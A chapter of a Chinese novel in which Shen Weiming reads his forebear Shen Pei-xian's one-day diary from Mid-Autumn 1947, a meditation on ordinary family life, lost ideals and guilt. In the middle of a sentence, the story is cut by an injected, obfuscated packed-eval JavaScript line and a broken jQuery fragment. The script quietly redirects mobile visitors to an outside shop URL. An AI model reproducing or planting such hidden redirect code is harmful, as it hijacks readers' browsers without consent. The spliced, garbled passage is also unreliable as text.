沈未明在沈佩弦的旧物里，找到了最后一本日记。
这本日记，跟之前的都不一样。
它不是按年月写的。
它只写了一天。
从早上，写到晚上。
整整一天。
事无巨细地，写了满满一本。
沈未明坐在地上，翻开第一页。
上面写着："民国三十六年，八月十五。"
民国三十六年，也就是1947年。
那时候，沈佩弦已经四十岁了。
抗战刚刚胜利两年。
他应该，刚从监狱里出来不久？
或者说，他根本就没坐牢？
沈未明不知道。
他只能，从这本日记里，寻找答案。
他坐在那里，就着天窗漏下来的光，慢慢读了下去。
民国三十六年，八月十五。
晴。
早上，六点半。
醒了。
天已经亮了。
阳光，从窗帘的缝隙里漏进来。
在地上，投下一道光。
光里，有很多灰尘。
在跳舞。
躺在床上，听了一会儿声音。
远处，有鸡叫。
院子里，有麻雀在叫。
还有，下人扫地的声音。
"唰——唰——"
一下，又一下。
很有节奏。
听着听着，就想起了很多年前。
在上海的时候。
也是这样的早上。
也是这样的扫地声。
那时候，还年轻。
二十出头。
每天早上，都是被这扫地声吵醒的。
然后，就起床。
去学校。
或者，去找林觉。
去找林微。
那时候，日子过得多快啊。
一天一天的，像飞一样。
现在呢？
现在，日子过得慢了。
慢得，像蜗牛爬。
一天，比一年还长。
七点，起床。
穿衣服。
还是那件，藏青色的长衫。
穿了很多年了。
袖口，都磨白了。
林微说，给我做件新的。
我说，不用。
还能穿。
其实，不是舍不得钱。
是习惯了。
穿了这么多年，有感情了。
就像，一个老朋友似的。
人老了，就喜欢旧东西。
旧衣服，旧房子，旧书。
还有，旧人。
因为，旧的东西，让人觉得踏实。
不像新的，总让人觉得，不真实。
洗漱。
用的是，那个青花瓷的脸盆。
还是当年，成亲的时候的陪嫁。
林微带来的。
这么多年了，还在用。
瓷面，都磨得有点发乌了。
但是，很好用。
盛水，不凉。
冬天的时候，尤其明显。
水倒进去，能温很久。
像有记忆似的。
记得，人的温度。
洗脸的时候，看着镜子里的自己。
老了。
真的老了。
头发，白了大半。
脸上的皱纹，也深了。
眼睛里，也没有光了。
像一潭，死水。
扔个石头进去，都泛不起涟漪。
记得年轻的时候，不是这样的。
那时候，眼睛里，有光。
亮闪闪的。
像有星星似的。
现在，没有了。
都被时间，磨没了。
被生活，磨没了。
七点半，去上房。
给爹请安。
爹今年，八十二了。
身体，还硬朗。
就是，耳朵有点背。
跟他说话，得大声点。
他坐在太师椅上，手里转着两个核桃。
核桃，是他年轻时候就开始转的。
转了几十年了。
都转得，像玉一样光滑了。
看到我，他点了点头。
说："来了？"
我说："来了。"
然后，就没什么话了。
站了一会儿。
他说："没事，就回去吧。"
我说："哎。"
然后，就出来了。
每次，都是这样。
几句话。
几分钟。
就完了。
我们父子俩，好像从来就没什么话可说。
年轻的时候，是他说，我听。
后来，我大了，就开始吵架。
再后来，我回来了。
就变成了，这样。
客客气气的。
像两个，住在一起的陌生人。
其实，我知道。
他心里，是有我的。
我心里，也是有他的。
可是，我们都不说。
都放在心里。
中国人，好像都这样。
不习惯，把感情说出来。
都藏着。
掖着。
藏到最后，就都烂在心里了。
八点，吃早饭。
跟林微，还有静言，一起吃。
静言今年，十二岁了。
上小学六年级。
很快，就要上中学了。
这孩子，像我。
也像林微。
安静。
话不多。
但是，心里有数。
学习很好。
每次考试，都是第一名。
老师说，他将来，肯定有出息。
我听了，很高兴。
也有点，担心。
有出息，是好事。
可是，太有出息了。
会不会，也像我年轻时候一样。
心高气傲。
然后，摔个大跟头？
我不知道。
我只希望，他能平平安安的。
一辈子，顺顺利利的。
不用大富大贵。
也不用，什么光宗耀祖。
只要，平平安安的。
就好。
早饭，是粥，还有几个小菜。
咸菜，腐乳，还有煮鸡蛋。
都是我爱吃的。
林微记得。
她总是记得。
我爱吃什么，不爱吃什么。
都记得清清楚楚的。
这么多年了，从来没忘过。
我有时候想，她对我这么好。
可是，我呢？
我给过她什么？
爱情？
没有。
我们之间，好像从来就没有过爱情。
或者说，有过。
但是，早就没了。
被时间，磨没了。
被那些，乱七八糟的事，磨没了。
我们之间，剩下的，只有亲情。
还有，习惯。
还有，责任。
这样，也好。
平平淡淡的。
安安稳稳的。
一辈子，就这么过去了。
也挺好的。
吃完饭，静言去上学了。
林微收拾桌子。
我坐在那里，看了她一会儿。
她的背影，也老了。
头发里，也有白丝了。
腰，也不如以前那么直了。
时间，真是个无情的东西。
谁都不放过。
当年，她是多么好看的一个姑娘啊。
像一朵，水莲花。
现在，也老了。
变成了，一个普通的中年妇人。
我想，她年轻的时候，肯定也没想到。
自己会变成，现在这个样子。
会嫁给我。
会在这座宅子里，过一辈子。
会，这么平淡地，过一辈子。
她后悔过吗？
我不知道。
我从来没问过。
也不敢问。
我怕，得到的答案，是我不想听到的。
九点，去书房。
看账。
家里的生意，现在基本都是我在管。
爹年纪大了，管不动了。
佩璋，又太老实。
撑不起来。
只能，我来。
其实，我年轻的时候，最讨厌做生意了。
觉得，太俗。
满身铜臭味。
那时候，我觉得，我应该是个诗人。
是个革命者。
是个，干大事的人。
没想到，到最后，还是成了个商人。
还是，继承了我爹的衣钵。
真是讽刺。
可是，又有什么办法呢？
人活着，总得吃饭。
家里这么一大家子人，总得有人养。
理想，能当饭吃吗？
不能。
所以，只能放下理想。
老老实实地，赚钱。
过日子。
人啊，都是会变的。
年轻的时候，觉得什么都重要。
年纪大了，就会发现。
其实，什么都不重要。
只有，活着最重要。
只有，家人最重要。
看账，看到十点多。
看得眼睛疼。
就放下账本，站起来，活动活动。
走到窗边，推开窗户。
外面的空气，很好。
带着，桂花的香味。
院子里的那棵桂花树，开了。
每年，八月十五前后，都会开。
很香。
整个院子，都是香的。
闻着桂花的香味，就想起了很多年前。
也是这样的秋天。
也是这样的桂花香。
那时候，在上海。
我跟林微，第一次见面。
也是这样的天气。
不冷不热的。
桂花，也开了。
香得很。
那时候，她穿着一件，淡青色的旗袍。
站在阳光下。
像一朵，刚开的莲花。
我当时就想。
这个女孩子，真好看。
要是能娶她当老婆，就好了。
后来，真的娶到了。
可是，为什么，却没有想象中的，那么开心呢？
是我变了？
还是她变了？
还是说，我们都变了？
我不知道。
我只知道，很多事情，跟你想象的，不一样。
你以为，得到了就会幸福。
其实不是。
得到了，只是另一种烦恼的开始。
人啊，就是不知足。
十点半，佩璋来了。
他来找我，商量生意上的事。
佩璋这孩子，还是那么老实。
说话，慢吞吞的。
做事，也慢吞吞的。
但是，很稳。
让人放心。
他跟我，不一样。
他没有那么多，乱七八糟的想法。
他就想，安安稳稳地，过日子。
把生意做好。
把家照顾好。
就够了。
其实，这样挺好的。
比我强。
我年轻的时候，想法太多了。
想这个，想那个。
结果呢？
什么都没做成。
还把自己，弄得遍体鳞伤。
还不如，像佩璋这样。
简简单单的。
平平凡凡的。
过一辈子。
也挺好的。
跟佩璋，聊了一个多钟头。
把生意上的事，都商量好了。
他就走了。
我送他到门口。
看着他的背影。
突然觉得，他比我强。
真的。
虽然，他没我聪明。
没我有才华。
也没我，见过世面。
但是，他比我踏实。
比我，更像个，真正的男人。
他知道，自己该做什么。
也知道，自己能做什么。
不空想。
不抱怨。
就老老实实地，过日子。
这样的人，才是真正的聪明人。
不像我。
聪明反被聪明误。
折腾了一辈子。
到最后，什么都没落下。
还落了一身的病。
还有，满心的伤痕。
十二点，吃午饭。
还是，跟林微一起吃。
静言中午在学校吃。
午饭，很简单。
两个菜，一个汤。
一荤一素。
我们边吃，边聊。
聊的，都是些家常。
静言的学习。
家里的下人。
还有，亲戚们的一些事。
都是些，鸡毛蒜皮的小事。
但是，聊着聊着，一顿饭就吃完了。
也不觉得，无聊。
有时候，我会想。
这就是生活吧？
不是什么，轰轰烈烈的大事。
就是这些，鸡毛蒜皮的小事。
一天一天的。
一年一年的。
就这么过去了。
以前，我觉得这样的日子，太无聊了。
像一潭死水。
现在，我觉得，这样挺好的。
安稳。
踏实。
比什么都强。
吃完饭，歇了一会儿。
然后，睡午觉。
年纪大了，中午不睡一会儿。
下午，就没精神。
躺在床上，很快就睡着了。
还做了个梦。
梦见了林觉。
还是年轻时候的样子。
穿着白衬衫。
站在阳光下。
笑着，跟我招手。
他说："佩弦，来啊。"
"我们一起，干大事去。"
我想过去。
可是，我的脚，像粘在了地上似的。
动不了。
我急得满头大汗。
然后，就醒了。
醒来的时候，心脏跳得很快。
一身的冷汗。
坐在床上，愣了很久。
这个梦，太真实了。
真实得，不像个梦。
林觉，都死了三十多年了。
我以为，我已经忘了他了。
原来，没有。
他一直都在。
在我心里的，某个角落里。
时不时地，就会出来。
提醒我，我欠他的。
提醒我，我是个懦夫。
下午两点，去铺子上。
看看生意。
铺子，在镇上最热闹的那条街上。
挺大的。
什么都卖。
布，米，油，盐……
都是些，老百姓日常用的东西。
生意，还不错。
虽然，不如最鼎盛的时候。
但是，也过得去。
足够，养活一大家子人了。
我在铺子里，坐了一下午。
跟伙计们，聊聊天。
跟熟客，打打招呼。
没什么事。
就那么坐着。
看着，街上人来人往的。
看着，各种各样的人。
有穷人，有富人。
有老人，有孩子。
有高兴的，有发愁的。
每个人，都有每个人的日子。
每个人，都有每个人的烦恼。
看着他们，就觉得。
其实，大家都一样。
都在，努力地活着。
都在，跟生活较劲。
谁也不比谁，容易多少。
下午四点多，来了个客人。
是以前，维持会的一个老朋友。
姓李。
李老板。
抗战的时候，我们一起，给日本人做事。
抗战胜利后，我们都被抓了。
后来，又都放出来了。
据说是，因为我们都没做过什么坏事。
而且，还暗中帮过国民党。
所以，就从轻发落了。
没有坐牢。
只是，罚了点钱。
就了事了。
说起来，也挺讽刺的。
当年，我们都以为，自己死定了。
结果，没事。
人生啊，真是无常。
什么事，都有可能发生。
李老板，跟我聊了很久。
聊过去的事。
聊抗战的时候。
聊维持会。
聊那些，死去的人。
聊那些，活着的人。
聊着聊着，就都叹了口气。
他说："老沈啊，我们这一辈子，也算值了。"
"什么大风大浪，都经历过了。"
"现在，能平平安安地活着。"
"就挺好的。"
我点了点头。
我说："是啊。"
"挺好的。"
可是，我心里知道。
不是的。
不是挺好的。
有些事情，发生了，就是发生了。
有些伤口，看起来愈合了。
其实，没有。
它一直在那里。
时不时地，就会疼一下。
提醒你，它的存在。
比如，林觉的死。
比如，那些，因为我们而死的人。
这些，都是一辈子都忘不掉的。
都是，要带到坟墓里去的。
李老板，坐到五点多，就走了。
我送他到门口。
看着他的背影，消失在人群里。
突然觉得，我们都老了。
真的老了。
当年，我们都是，意气风发的年轻人。
现在，都变成了，老头了。
时间，过得真快啊。
快得，让人反应不过来。
好像，昨天还年轻。
今天，就老了。
一辈子，就这么过去了。
像一场梦似的。
六点，回家。
到家的时候，林微已经在做饭了。
厨房里，飘出香味。
是我爱吃的，红烧肉的味道。
今天，八月十五。
中秋节。
晚上，要赏月。
所以，晚饭做得丰盛些。
我站在厨房门口，看了她一会儿。
她系着围裙，在灶台前忙活着。
动作，很熟练。
看着她的背影，突然觉得，很踏实。
这么多年了。
不管发生什么事。
不管，我经历了什么。
回到家，总能看到她。
总能吃到，她做的饭。
这种感觉，很好。
很安稳。
像船，靠了岸似的。
我想，这就是家吧。
不是什么，大富大贵。
就是，有个人。
在家里，等你回来。
给你做饭。
跟你一起，过日子。
就够了。
七点，吃晚饭。
静言也回来了。
一家人，坐在一起。
吃晚饭。
今天，菜很丰盛。
有红烧肉，有鱼，有虾，还有好几个素菜。
还有，月饼。
五仁的，豆沙的，莲蓉的……
都是，我们爱吃的。
静言很高兴。
一边吃，一边跟我们说，学校里的事。
说他今天，考试考了第一名。
说老师表扬他了。
说同学们，都很羡慕他。
我们听着，都笑了。
看着他，高兴的样子。
我心里，也很高兴。
觉得，这辈子，值了。
不管，我受了多少苦。
不管，我有多少遗憾。
只要，这个孩子能好好的。
能平平安安地长大。
能有出息。
我就，知足了。
吃完饭，收拾桌子。
然后，搬了张桌子，到院子里。
摆上月饼，摆上水果。
赏月。
月亮，很圆。
很大。
很亮。
像一个，银盘子似的。
挂在天上。
把整个院子，都照得亮堂堂的。
我们坐在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735662|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
院子里。
吃着月饼。
看着月亮。
说着话。
静言，最兴奋。
一会儿说，月亮上有嫦娥。
一会儿说，月亮上有玉兔。
叽叽喳喳的。
像个小麻雀似的。
林微，笑着听他说。
时不时地，给他剥个橘子。
我坐在那里，看着他们。
看着月亮。
看着，这座院子。
看着，这座宅子。
突然觉得，很幸福。
真的。
虽然，这辈子，有很多遗憾。
有很多，不如意的事。
但是，现在这一刻。
我觉得，很幸福。
如果，时间能停在这一刻。
就好了。
看着月亮，就想起了很多年前。
也是这样的中秋。
也是这样的月亮。
那时候，在上海。
我跟林微，还有林觉。
我们三个人，一起过中秋。
那时候，我们都年轻。
都有理想。
都觉得，未来是光明的。
都觉得，我们能改变世界。
现在呢？
林觉，死了三十多年了。
我跟林微，也都老了。
世界，确实改变了。
但是，不是我们想象中的那个样子。
而且，好像，跟我们也没什么关系。
我们，就像两个，旁观者。
看着这个世界，变来变去。
然后，自己慢慢变老。
想想，真是讽刺。
林微，好像看出了我在想什么。
她转过头，看着我。
她说："想什么呢？"
我笑了笑，说："没什么。"
"就是，想起了一些，以前的事。"
林微看着我，看了一会儿。
然后，她也笑了笑。
她说："过去的事，就别想了。"
"往前看。"
我点了点头。
我说："嗯。"
"往前看。"
可是，我知道，说起来容易。
做起来，难。
过去的事，哪能说忘，就忘了呢？
那些人，那些事。
那些，快乐和痛苦。
都刻在你心里了。
一辈子，都忘不掉。
除非，你死了。
九点多，静言困了。
就先去睡了。
院子里，就剩下我跟林微。
两个人，坐在那里。
看着月亮。
都没说话。
但是，也不觉得尴尬。
就那么，静静地坐着。
风，吹过桂花树。
发出，沙沙的声音。
桂花的香味，飘过来。
很好闻。
坐了很久。
林微说："天凉了。"
"我们回去吧？"
我说："好。"
然后，我们就站起来。
收拾东西。
往屋里走。
走到门口，我回头看了一眼。
月亮，还是那么圆。
那么亮。
照在院子里。
一片银白。
像铺了一层霜。
我突然想起了，很多年前的一句话。
"当时只道是寻常。"
那时候，觉得很普通的日子。
现在想起来，却觉得，很珍贵。
可惜，已经回不去了。
回到屋里，林微去铺床。
我坐在书桌前，发了会儿呆。
然后，拿出日记本。
开始写。
写今天，发生的事。
事无巨细地，都写下来。
为什么要写？
我也不知道。
也许，是想留下点什么。
也许，是怕自己忘了。
也许，只是，太无聊了。
反正，就写了。
写了满满一本。
都是些，鸡毛蒜皮的小事。
没什么意义。
但是，都是我的日子。
都是，我活过的证据。
十点半，写完了。
合上日记本。
站起来，伸了个懒腰。
然后，去睡觉。
林微，已经躺下了。
我轻手轻脚地，躺到她旁边。
她侧过身，往里挪了挪。
给我，腾出地方。
我躺好，闭上眼睛。
准备睡觉。
可是，睡不着。
脑子里，乱糟糟的。
想了很多事。
想过去。
想现在。
想未来。
想着想着，就叹了口气。
林微，好像听到了。
她迷迷糊糊地，问："怎么了？"
"睡不着？"
我说："没事。"
"你睡吧。"
她"嗯"了一声。
然后，就没声音了。
很快，就又睡着了。
我侧过身，看着她。
月光，从窗户里照进来。
落在她的脸上。
她的脸，很安详。
像个，孩子似的。
我看着她，看了很久。
然后，伸出手。
轻轻握住了，她的手。
她的手，很暖。
也很软。
握着她的手，我心里，突然觉得，很踏实。
什么都不想了。
什么过去，什么未来。
都不重要了。
重要的是，现在。
重要的是，她在我身边。
我们，还在一起。
这就够了。
不知道过了多久。
我终于，睡着了。
做了个梦。
梦里，我又回到了年轻的时候。
回到了，上海。
回到了，那个叫半亩园的地方。
那个暮春的下午。
林微，穿着淡青色的旗袍。
从远处，走过来。
阳光，照在她身上。
像镀了一层金似的。
她笑着，向我走过来。
我也笑着，向她走过去。
我们越走越近。
越走越近。
然后，就醒了。
醒来的时候，天已经亮了。
阳光，从窗帘的缝隙里漏进来。
在地上，投下一道光。
光里，有很多灰尘。
在跳舞。
新的一天，又开始了。
跟昨天，一模一样。
沈未明合上书，坐在那里，愣了很久。
这就是，沈佩弦的一天。
普普通通的一天。
平平淡淡的一天。
没有什么，惊天动地的大事。
没有什么，轰轰烈烈的爱情。
就是，吃饭，睡觉，看账，聊天。
都是些，鸡毛蒜皮的小事。
可是，沈未明却觉得，很震撼。
他好像，从这一天里。
看到了，沈佩弦的一辈子。
看到了，他的青春。
他的理想。
他的爱情。
他的失败。
他的愧疚。
他的，平凡的，后半生。
都浓缩在，这一天里了。
这就是，乔伊斯写的那种感觉吧？
一天，就是一辈子。
日常的，就是史诗的。
沈未明坐在那里，想了很久。
他想起了，自己的生活。
他的一天，是什么样子的？
好像，跟沈佩弦的，也差不多。
起床，吃饭，上班，下班，睡觉。
也是，平平淡淡的。
也是，没什么大事。
以前，他觉得，这样的日子，很无聊。
像一潭死水。
可是现在，他突然觉得。
这样的日子，也挺好的。
平淡，但是安稳。
普通，但是真实。
也许，这就是生活本来的样子。
不是什么，轰轰烈烈的大事。
就是这些，鸡毛蒜皮的小事。
一天一天的。
一年一年的。
就这么过去了。
等你老了，回头看。
就会发现。
原来，这就是你的一辈子。
原来，这就是，你全部的人生。
沈未明站起身，把日记，放回原处。
他拍了拍身上的灰。
然后，转身，往藏书楼门口走去。
走到门口，他又回头看了一眼。
黑漆漆的藏书楼里，好像有很多影子。
模模糊糊的。
来来往往的。
他们都在过着，自己的日子。
一天又一天。
一年又一年。
然后，死去。
然后，继续在这里，待着。
守着这座宅子。
也守着，他们的，平凡的一生。
沈未明突然觉得，他们并不孤单。
因为，他们都在一起。
一代一代的。
都在这里。
像一个，大家庭。
虽然，他们活着的时候，可能有过矛盾。
有过争吵。
有过，各种各样的不愉快。
但是，死了之后。
他们都在一起了。
守着这座宅子。
守着，沈家的根。
也守着，他们的，共同的记忆。
沈未明推开门，走了出去。
外面的阳光，很好。
照在身上，暖暖的。
他深吸了一口气。
空气里，有桂花的香味。
跟日记里写的，一模一样。
他抬头，看了看天。
天很蓝。
云很白。
风，吹过院子里的桂花树。
发出，沙沙的声音。
一切，都那么美好。
一切，都那么平静。
好像，什么都没有发生过。
好像，那些过去的人和事。
都只是，一场梦而已。